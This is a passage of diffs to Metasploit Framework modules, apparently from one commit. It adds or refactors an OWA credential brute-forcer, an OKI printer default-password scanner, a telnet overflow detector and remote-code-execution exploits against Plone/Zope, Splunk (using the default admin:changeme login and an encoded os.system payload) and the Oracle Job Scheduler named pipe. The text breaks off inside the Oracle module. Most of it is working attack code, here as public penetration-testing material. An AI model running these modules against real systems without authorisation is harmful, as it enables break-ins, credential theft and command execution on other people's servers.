res = sock.get(4)
|
||||
res = sock.get_once(4)
|
||||
if (res == "Y\x00\x00\x00")
|
||||
print_good("Appears to be a CheckPoint Firewall...")
|
||||
sock.put("\x00\x00\x00\x0bsecuremote\x00")
|
||||
res = sock.get_once
|
||||
if (res =~ /CN\=(.+),O\=(.+)\./i)
|
||||
print_good("Firewall Host: #{$1}")
|
||||
print_good("SmartCenter Host: #{$2}")
|
||||
if (res =~ /CN=(.+),O=(.+)\./i)
|
||||
fw_hostname = $1
|
||||
sc_hostname = $2
|
||||
print_good("Firewall Host: #{fw_hostname}")
|
||||
print_good("SmartCenter Host: #{sc_hostname}")
|
||||
end
|
||||
else
|
||||
print_error("Unexpected response:\r\n#{res}")
|
||||
print_error("Unexpected response: '#{res.inspect}'")
|
||||
end
|
||||
|
||||
report_info(fw_hostname,sc_hostname)
|
||||
|
||||
disconnect
|
||||
end
|
||||
|
||||
# Only trust that it's real if we have a hostname. If you get a funny
|
||||
# response, it might not be what we think it is.
|
||||
def report_info(fw_hostname,sc_hostname)
|
||||
return unless fw_hostname
|
||||
host_info = {
|
||||
:host => datastore['RHOST'],
|
||||
:os_name => "Checkpoint Firewall-1",
|
||||
:purpose => "firewall"
|
||||
}
|
||||
host_info[:name] = fw_hostname
|
||||
host_info[:info] = "SmartCenter Host: #{sc_hostname}" if sc_hostname
|
||||
report_host(host_info)
|
||||
svc_info = {
|
||||
:host => datastore['RHOST'],
|
||||
:port => datastore['RPORT'],
|
||||
:proto => "tcp",
|
||||
:name => "securemote"
|
||||
}
|
||||
report_service(svc_info)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -17,21 +17,53 @@ class Metasploit3 < Msf::Auxiliary
|
|||
super(
|
||||
'Name' => 'Outlook Web App (OWA) Brute Force Utility',
|
||||
'Description' => %q{
|
||||
This module tests credentials on OWA 2003, 2007 and 2010 servers.
|
||||
This module tests credentials on OWA 2003, 2007 and 2010 servers. The default
|
||||
action is set to OWA 2010.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Vitor Moreira',
|
||||
'Spencer McIntyre',
|
||||
'SecureState R&D Team'
|
||||
'SecureState R&D Team',
|
||||
'sinn3r'
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' =>
|
||||
[
|
||||
[
|
||||
'OWA 2003',
|
||||
{
|
||||
'Description' => 'OWA version 2003',
|
||||
'AuthPath' => '/exchweb/bin/auth/owaauth.dll',
|
||||
'InboxPath' => '/exchange/',
|
||||
'InboxCheck' => /Inbox/
|
||||
}
|
||||
],
|
||||
[
|
||||
'OWA 2007',
|
||||
{
|
||||
'Description' => 'OWA version 2007',
|
||||
'AuthPath' => '/owa/auth/owaauth.dll',
|
||||
'InboxPath' => '/owa/',
|
||||
'InboxCheck' => /addrbook.gif/
|
||||
}
|
||||
],
|
||||
[
|
||||
'OWA 2010',
|
||||
{
|
||||
'Description' => 'OWA version 2010',
|
||||
'AuthPath' => '/owa/auth.owa',
|
||||
'InboxPath' => '/owa/',
|
||||
'InboxCheck' => /Inbox|location(\x20*)=(\x20*)"\\\/(\w+)\\\/logoff\.owa|A mailbox couldn\'t be found/
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultAction' => 'OWA 2010'
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('RPORT', [ true, "The target port", 443]),
|
||||
OptString.new('VERSION', [ true, "OWA VERSION (2003, 2007, or 2010)", '2007'])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
|
@ -43,11 +75,30 @@ class Metasploit3 < Msf::Auxiliary
|
|||
deregister_options('BLANK_PASSWORDS')
|
||||
end
|
||||
|
||||
def cleanup
|
||||
# Restore the original settings
|
||||
datastore['BLANK_PASSWORDS'] = @blank_passwords_setting
|
||||
datastore['USER_AS_PASS'] = @user_as_pass_setting
|
||||
end
|
||||
|
||||
def run
|
||||
datastore['BLANK_PASSWORDS'] = false # OWA doesn't support blank passwords
|
||||
# Store the original setting
|
||||
@blank_passwords_setting = datastore['BLANK_PASSWORDS']
|
||||
|
||||
# OWA doesn't support blank passwords
|
||||
datastore['BLANK_PASSWORDS'] = false
|
||||
|
||||
# If there's a pre-defined username/password, we need to turn off USER_AS_PASS
|
||||
# so that the module won't just try username:username, and then exit.
|
||||
@user_as_pass_setting = datastore['USER_AS_PASS']
|
||||
if not datastore['USERNAME'].nil? and not datastore['PASSWORD'].nil?
|
||||
print_status("Disabling 'USER_AS_PASS' because you've specified an username/password")
|
||||
datastore['USER_AS_PASS'] = false
|
||||
end
|
||||
|
||||
vhost = datastore['VHOST'] || datastore['RHOST']
|
||||
|
||||
print_status("#{msg} Testing version #{datastore['VERSION']}")
|
||||
print_status("#{msg} Testing version #{action.name}")
|
||||
|
||||
# Here's a weird hack to check if each_user_pass is empty or not
|
||||
# apparently you cannot do each_user_pass.empty? or even inspect() it
|
||||
|
@ -58,34 +109,21 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
print_error("No username/password specified") if isempty
|
||||
|
||||
if datastore['VERSION'] == '2003'
|
||||
authPath = '/exchweb/bin/auth/owaauth.dll'
|
||||
inboxPath = '/exchange/'
|
||||
loginCheck = /Inbox/
|
||||
elsif datastore['VERSION'] == '2007'
|
||||
authPath = '/owa/auth/owaauth.dll'
|
||||
inboxPath = '/owa/'
|
||||
loginCheck = /addrbook.gif/
|
||||
elsif datastore['VERSION'] == '2010'
|
||||
authPath = '/owa/auth.owa' # Post creds here
|
||||
inboxPath = '/owa/' # Get request with cookie/sessionid
|
||||
loginCheck = /Inbox|location(\x20*)=(\x20*)"\\\/(\w+)\\\/logoff\.owa|A mailbox couldn\'t be found/ # check result
|
||||
else
|
||||
print_error('Invalid VERSION, select one of 2003, 2007, or 2010')
|
||||
return
|
||||
end
|
||||
auth_path = action.opts['AuthPath']
|
||||
inbox_path = action.opts['InboxPath']
|
||||
login_check = action.opts['InboxCheck']
|
||||
|
||||
begin
|
||||
each_user_pass do |user, pass|
|
||||
vprint_status("#{msg} Trying #{user} : #{pass}")
|
||||
try_user_pass(user, pass, authPath, inboxPath, loginCheck, vhost)
|
||||
try_user_pass(user, pass, auth_path, inbox_path, login_check, vhost)
|
||||
end
|
||||
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED
|
||||
print_error("#{msg} HTTP Connection Error, Aborting")
|
||||
end
|
||||
end
|
||||
|
||||
def try_user_pass(user, pass, authPath, inboxPath, loginCheck, vhost)
|
||||
def try_user_pass(user, pass, auth_path, inbox_path, login_check, vhost)
|
||||
user = datastore['AD_DOMAIN'] + '\\' + user if datastore['AD_DOMAIN'] != ''
|
||||
headers = {
|
||||
'Cookie' => 'PBack=0'
|
||||
|
@ -100,11 +138,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
begin
|
||||
res = send_request_cgi({
|
||||
'encode' => true,
|
||||
'uri' => authPath,
|
||||
'uri' => auth_path,
|
||||
'method' => 'POST',
|
||||
'headers' => headers,
|
||||
'data' => data
|
||||
}, 20)
|
||||
}, 25)
|
||||
|
||||
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
|
||||
print_error("#{msg} HTTP Connection Failed, Aborting")
|
||||
|
@ -129,7 +167,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => inboxPath,
|
||||
'uri' => inbox_path,
|
||||
'method' => 'GET',
|
||||
'headers' => headers
|
||||
}, 20)
|
||||
|
@ -148,7 +186,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return :skip_pass
|
||||
end
|
||||
|
||||
if res.body =~ loginCheck
|
||||
if res.body =~ login_check
|
||||
print_good("#{msg} SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
|
||||
|
||||
report_hash = {
|
||||
|
|
|
@ -0,0 +1,113 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
# TODO: Split this module into two seperate SNMP and HTTP modules.
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::SNMPClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'OKI Printer Default Login Credential Scanner',
|
||||
'Description' => %q{
|
||||
This module scans for OKI printers via SNMP, then tries to connect to found devices
|
||||
with vendor default administrator credentials via HTTP authentication. By default, OKI
|
||||
network printers use the last six digits of the MAC as admin password.
|
||||
},
|
||||
'Author' => 'antr6X <anthr6x[at]gmail.com>',
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('SNMPPORT', [true, 'The SNMP Port', 161]),
|
||||
OptPort.new('HTTPPORT', [true, 'The HTTP Port', 80])
|
||||
], self.class)
|
||||
|
||||
deregister_options('RPORT', 'VHOST')
|
||||
end
|
||||
|
||||
def cleanup
|
||||
datastore['RPORT'] = @org_rport
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
@org_rport = datastore['RPORT']
|
||||
datastore['RPORT'] = datastore['SNMPPORT']
|
||||
|
||||
index_page = "index_ad.htm"
|
||||
auth_req_page = "status_toc_ad.htm"
|
||||
snmp = connect_snmp()
|
||||
|
||||
snmp.walk("1.3.6.1.2.1.2.2.1.6") do |mac|
|
||||
last_six = mac.value.unpack("H2H2H2H2H2H2").join[-6,6].upcase
|
||||
first_six = mac.value.unpack("H2H2H2H2H2H2").join[0,6].upcase
|
||||
|
||||
#check if it is a OKI
|
||||
#OUI list can be found at http://standards.ieee.org/develop/regauth/oui/oui.txt
|
||||
if first_six == "002536" || first_six == "008087" || first_six == "002536"
|
||||
sys_name = snmp.get_value('1.3.6.1.2.1.1.5.0').to_s
|
||||
print_status("Found: #{sys_name}")
|
||||
print_status("Trying credential: admin/#{last_six}")
|
||||
|
||||
tcp = Rex::Socket::Tcp.create(
|
||||
'PeerHost' => rhost,
|
||||
'PeerPort' => datastore['HTTPPORT'],
|
||||
'Context' =>
|
||||
{
|
||||
'Msf'=>framework,
|
||||
'MsfExploit'=>self
|
||||
}
|
||||
)
|
||||
|
||||
auth = Rex::Text.encode_base64("admin:#{last_six}")
|
||||
|
||||
http_data = "GET /#{auth_req_page} HTTP/1.1\r\n"
|
||||
http_data << "Referer: http://#{ip}/#{index_page}\r\n"
|
||||
http_data << "Authorization: Basic #{auth}\r\n\r\n"
|
||||
|
||||
tcp.put(http_data)
|
||||
data = tcp.recv(12)
|
||||
|
||||
response = "#{data[9..11]}"
|
||||
|
||||
case response
|
||||
when "200"
|
||||
print_good("#{rhost}:#{datastore['HTTPPORT']} logged in as: admin/#{last_six}")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => datastore['HTTPPORT'],
|
||||
:proto => "tcp",
|
||||
:user => 'admin',
|
||||
:pass => last_six
|
||||
)
|
||||
when "401"
|
||||
print_error("Default credentials failed")
|
||||
when "404"
|
||||
print_status("Page not found, try credential manually: admin/#{last_six}")
|
||||
else
|
||||
print_status("Unexpected message")
|
||||
end
|
||||
|
||||
disconnect()
|
||||
end
|
||||
end
|
||||
|
||||
disconnect_snmp()
|
||||
|
||||
rescue SNMP::RequestTimeout
|
||||
print_status("#{ip}, SNMP request timeout.")
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_status("Unknown error: #{e.class} #{e}")
|
||||
end
|
||||
end
|
|
@ -123,6 +123,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
@results.keys.each do |ip|
|
||||
next unless myworkspace.allow_actions_on?(ip)
|
||||
host = @results[ip]
|
||||
user = ""
|
||||
os = "Windows"
|
||||
|
@ -268,7 +269,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
inf << maddr
|
||||
|
||||
if myworkspace.allow_actions_on?(addr)
|
||||
report_service(
|
||||
:host => addr,
|
||||
:mac => (maddr and maddr != '00:00:00:00:00:00') ? maddr : nil,
|
||||
|
@ -278,6 +279,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
:name => 'NetBIOS',
|
||||
:info => inf
|
||||
)
|
||||
end
|
||||
when 0x20
|
||||
1.upto(rlen / 6.0) do
|
||||
tflag = buff.slice!(0,2).unpack('n')[0]
|
||||
|
|
|
@ -109,6 +109,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
@results.keys.each do |ip|
|
||||
next unless myworkspace.allow_actions_on?(ip)
|
||||
host = @results[ip]
|
||||
user = ""
|
||||
os = "Windows"
|
||||
|
@ -255,6 +256,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
inf << maddr
|
||||
|
||||
if myworkspace.allow_actions_on?(addr)
|
||||
report_service(
|
||||
:host => addr,
|
||||
:mac => (maddr and maddr != '00:00:00:00:00:00') ? maddr : nil,
|
||||
|
@ -264,6 +266,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
:name => 'NetBIOS',
|
||||
:info => inf
|
||||
)
|
||||
end
|
||||
when 0x20
|
||||
1.upto(rlen / 6.0) do
|
||||
tflag = buff.slice!(0,2).unpack('n')[0]
|
||||
|
|
|
@ -0,0 +1,147 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Telnet
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Telnet Service Encyption Key ID Overflow Detection',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Detect telnet services vulnerable to the encrypt option Key ID overflow (BSD-derived telnetd)',
|
||||
'Author' => [ 'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>', 'hdm' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['BID', '51182'],
|
||||
['CVE', '2011-4862'],
|
||||
['URL', 'http://www.exploit-db.com/exploits/18280/']
|
||||
]
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(23),
|
||||
OptInt.new('TIMEOUT', [true, 'Timeout for the Telnet probe', 30])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def to
|
||||
return 30 if datastore['TIMEOUT'].to_i.zero?
|
||||
datastore['TIMEOUT'].to_i
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
begin
|
||||
::Timeout.timeout(to) do
|
||||
res = connect
|
||||
|
||||
# This makes db_services look a lot nicer.
|
||||
banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
|
||||
report_service(:host => rhost, :port => rport, :name => "telnet", :info => banner_sanitized)
|
||||
|
||||
# Check for encryption option ( IS(0) DES_CFB64(1) )
|
||||
sock.put("\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\x18\x19\xff\xf0")
|
||||
|
||||
loop do
|
||||
data = sock.get_once(-1, to) rescue nil
|
||||
if not data
|
||||
print_status("#{ip}:#{rport} Does not support encryption: #{banner_sanitized} #{data.to_s.unpack("H*")[0]}")
|
||||
return
|
||||
end
|
||||
break if data.index("\xff\xfa\x26\x02\x01")
|
||||
end
|
||||
|
||||
buff_good = "\xff\xfa\x26" + "\x07" + "\x00" + ("X" * 63) + "\xff\xf0"
|
||||
buff_long = "\xff\xfa\x26" + "\x07" + "\x00" + ("X" * 64) + ( "\xcc" * 32) + "\xff\xf0"
|
||||
|
||||
begin
|
||||
|
||||
#
|
||||
# Send a long, but within boundary Key ID
|
||||
#
|
||||
sock.put(buff_good)
|
||||
data = sock.get_once(-1, 5) rescue nil
|
||||
unless data
|
||||
print_status("#{ip}:#{rport} UNKNOWN: No response to the initial probe: #{banner_sanitized}")
|
||||
return
|
||||
end
|
||||
|
||||
unless data.index("\xff\xfa\x26\x08\xff\xf0")
|
||||
print_status("#{ip}:#{rport} UNKNOWN: Invalid reply to Key ID: #{data.unpack("H*")[0]} - #{banner_sanitized}")
|
||||
return
|
||||
end
|
||||
|
||||
#
|
||||
# First round to overwrite the function pointer itself
|
||||
#
|
||||
sock.put(buff_long)
|
||||
data = sock.get_once(-1, 5)
|
||||
unless data
|
||||
print_status("#{ip}:#{rport} NOT VULNERABLE: No reply to first long Key ID: #{banner_sanitized}")
|
||||
return
|
||||
end
|
||||
|
||||
unless data.index("\xff\xfa\x26\x08\xff\xf0")
|
||||
print_status("#{ip}:#{rport} UNKNOWN: Invalid reply to first Key ID: #{data.unpack("H*")[0]} - #{banner_sanitized}")
|
||||
return
|
||||
end
|
||||
|
||||
#
|
||||
# Second round to force the function to be called
|
||||
#
|
||||
sock.put(buff_long)
|
||||
data = sock.get_once(-1, 5)
|
||||
unless data
|
||||
print_status("#{ip}:#{rport} NOT VULNERABLE: No reply to second long Key ID: #{banner_sanitized}")
|
||||
return
|
||||
end
|
||||
|
||||
unless data.index("\xff\xfa\x26\x08\xff\xf0")
|
||||
print_status("#{ip}:#{rport} UNKNOWN: Invalid reply to second Key ID: #{data.unpack("H*")[0]} - #{banner_sanitized}")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{ip}:#{rport} NOT VULNERABLE: Service did not disconnect: #{banner_sanitized}")
|
||||
return
|
||||
|
||||
rescue ::EOFError
|
||||
end
|
||||
|
||||
# EOFError or response to 64-byte Key Id indicates vulnerable systems
|
||||
print_good("#{ip}:#{rport} VULNERABLE: #{banner_sanitized}")
|
||||
report_vuln(
|
||||
{
|
||||
:host => ip,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:name => self.fullname,
|
||||
:info => banner_sanitized,
|
||||
:refs => self.references
|
||||
}
|
||||
)
|
||||
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
rescue Timeout::Error
|
||||
print_error("#{target_host}:#{rport} Timed out after #{to} seconds")
|
||||
rescue ::Exception => e
|
||||
print_error("#{target_host}:#{rport} Error: #{e} #{e.backtrace}")
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,93 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Plone and Zope Remote CMD Injection Exploit',
|
||||
'Description' => %q{
|
||||
Unspecified vulnerability in Zope 2.12.x and 2.13.x, as used in Plone 4.0.x
|
||||
through 4.0.9, 4.1, and 4.2 through 4.2a2, allows remote attackers to execute
|
||||
arbitrary commands via vectors related to the p_ class in OFS/misc_.py and
|
||||
the use of Python modules.
|
||||
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Plone Security team', # Vulnerability discovery
|
||||
'Nick Miles', # Original exploit
|
||||
'TecR0c' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2011-3587'],
|
||||
['URL', 'http://www.exploit-db.com/exploits/18262/'],
|
||||
['URL', 'http://plone.org/products/plone/security/advisories/20110928']
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
{
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic telnet perl ruby',
|
||||
}
|
||||
},
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' => [['Automatic',{}]],
|
||||
'DisclosureDate' => 'Oct 04 2011',
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('URI',[true, "The path to the Plone installation", "/"]),
|
||||
],self.class)
|
||||
register_autofilter_ports([ 8080 ])
|
||||
end
|
||||
|
||||
def check
|
||||
uri = datastore['URI']
|
||||
uri << '/' if uri[-1,1] != '/'
|
||||
uri << 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2'
|
||||
|
||||
res = send_request_raw(
|
||||
{
|
||||
'uri' => uri
|
||||
}, 25)
|
||||
if (res.headers['Bobo-Exception-Type'] =~ /zExceptions.BadRequest/)
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
# patched == zExceptions.NotFound
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
uri = datastore['URI']
|
||||
uri << '/' if uri[-1,1] != '/'
|
||||
uri << 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2'
|
||||
|
||||
send_request_cgi(
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'vars_post' =>
|
||||
{
|
||||
'cmd' => payload.encoded,
|
||||
}
|
||||
}, 0.5) # short timeout, we don't care about the response
|
||||
end
|
||||
end
|
|
@ -0,0 +1,178 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Splunk Search Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module abuses a command execution vulnerability within the
|
||||
web based interface of Splunk 4.2 to 4.2.4. The vulnerability exists
|
||||
within the 'mappy' search command which allows to run python code.
|
||||
To exploit this vulnerability a valid Splunk user with the admin
|
||||
role is required. Unfortunately, Splunk uses a default credential of
|
||||
'admin:changeme' for admin access, which is used to leverage our attack.
|
||||
|
||||
The Splunk Web interface runs as SYSTEM on Windows and as root
|
||||
on Linux by default.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
"Gary O'Leary-Steele", # Vulnerability discovery and exploit
|
||||
"juan vazquez" # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '77695' ],
|
||||
[ 'BID', '51061' ],
|
||||
[ 'CVE', '2011-4642' ],
|
||||
[ 'URL', 'http://www.splunk.com/view/SP-CAAAGMM' ],
|
||||
[ 'URL', 'http://www.sec-1.com/blog/?p=233' ],
|
||||
[ 'URL', 'http://www.sec-1.com/blog/wp-content/uploads/2011/12/Attacking_Splunk_Release.pdf' ],
|
||||
[ 'URL', 'http://www.sec-1.com/blog/wp-content/uploads/2011/12/splunkexploit.zip' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
'Badchars' => '',
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Universal CMD',
|
||||
{
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => ['unix', 'win', 'linux']
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Dec 12 2011'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8000),
|
||||
OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as','admin' ]),
|
||||
OptString.new('PASSWORD', [ true, 'The password for the specified username','changeme' ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
@username = datastore['USERNAME']
|
||||
@password = datastore['PASSWORD']
|
||||
@auth_cookies = ''
|
||||
p = payload.encoded
|
||||
print_status("Using command: #{p}")
|
||||
cmd = Rex::Text.encode_base64(p)
|
||||
|
||||
print_status("Attempting to login...")
|
||||
do_login
|
||||
|
||||
send_request_cgi(
|
||||
{
|
||||
'uri' => '/en-US/api/search/jobs',
|
||||
'method' => 'POST',
|
||||
'cookie' => @auth_cookies,
|
||||
'headers' =>
|
||||
{
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'X-Splunk-Session' => @auth_cookies.split("=")[1]
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
'search' => "search index=_internal source=*splunkd.log |mappy x=eval(\"sys.modules['os'].system(base64.b64decode('#{cmd}'))\")",
|
||||
'status_buckets' => "300",
|
||||
'earliest_time' => "0",
|
||||
'latest_time' => ""
|
||||
}
|
||||
}, 25)
|
||||
handler
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/en-US/account/login',
|
||||
'method' => 'GET'
|
||||
}, 25)
|
||||
|
||||
if res.body =~ /Splunk Inc\. Splunk 4\.[0-2]\.[0-4] build [\d+]/
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def do_login
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/en-US/account/login',
|
||||
'method' => 'GET'
|
||||
}, 25)
|
||||
|
||||
cval = ''
|
||||
uid = ''
|
||||
session_id_port =
|
||||
session_id = ''
|
||||
if res and res.code == 200
|
||||
res.headers['Set-Cookie'].split(';').each {|c|
|
||||
c.split(',').each {|v|
|
||||
if v.split('=')[0] =~ /cval/
|
||||
cval = v.split('=')[1]
|
||||
elsif v.split('=')[0] =~ /uid/
|
||||
uid = v.split('=')[1]
|
||||
elsif v.split('=')[0] =~ /session_id/
|
||||
session_id_port = v.split('=')[0]
|
||||
session_id = v.split('=')[1]
|
||||
end
|
||||
}
|
||||
}
|
||||
else
|
||||
raise RuntimeError, "Unable to get session cookies"
|
||||
end
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/en-US/account/login',
|
||||
'method' => 'POST',
|
||||
'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}",
|
||||
'vars_post' =>
|
||||
{
|
||||
'cval' => cval,
|
||||
'username' => @username,
|
||||
'password' => @password
|
||||
}
|
||||
}, 25)
|
||||
|
||||
if not res or res.code != 303
|
||||
raise RuntimeError, "Unable to authenticate"
|
||||
else
|
||||
session_id_port = ''
|
||||
session_id = ''
|
||||
res.headers['Set-Cookie'].split(';').each {|c|
|
||||
c.split(',').each {|v|
|
||||
if v.split('=')[0] =~ /session_id/
|
||||
session_id_port = v.split('=')[0]
|
||||
session_id = v.split('=')[1]
|
||||
end
|
||||
}
|
||||
}
|
||||
@auth_cookies = "#{session_id_port}=#{session_id}"
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,196 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::SMB
|
||||
include Msf::Exploit::CmdStagerVBS
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Oracle Job Scheduler Named Pipe Command Execution',
|
||||
'Description' => %q{
|
||||
This module exploits the Oracle Job Scheduler to execute arbitrary commands. The Job
|
||||
Scheduler is implemented via the component extjob.exe which listens on a named pipe
|
||||
called "orcljsex<SID>" and execute arbitrary commands received throw this channel via
|
||||
CreateProcess(). In order to connect to the Named Pipe remotely SMB access is required.
|
||||
This module has been tested on Oracle 10g Release 1 where the Oracle Job Scheduler
|
||||
runs as SYSTEM on Windows but it's disabled by default.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'David Litchfield', # Vulnerability discovery and exploit
|
||||
'juan vazquez', # Metasploit module
|
||||
'sinn3r' # Metasploit fu
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.amazon.com/Oracle-Hackers-Handbook-Hacking-Defending/dp/0470080221' ],
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2048,
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' => [['Automatic',{}]],
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => 'Jan 01 2007',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SID', [ true, 'The database sid', 'ORCL'])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("Exploiting through \\\\#{datastore['RHOST']}\\orcljsex#{datastore['SID']} named pipe...")
|
||||
execute_cmdstager({:linemax => 1500})
|
||||
handler
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts)
|
||||
connect()
|
||||
smb_login()
|
||||
pipe = simple.create_pipe("\\orcljsex#{datastore['SID']}")
|
||||
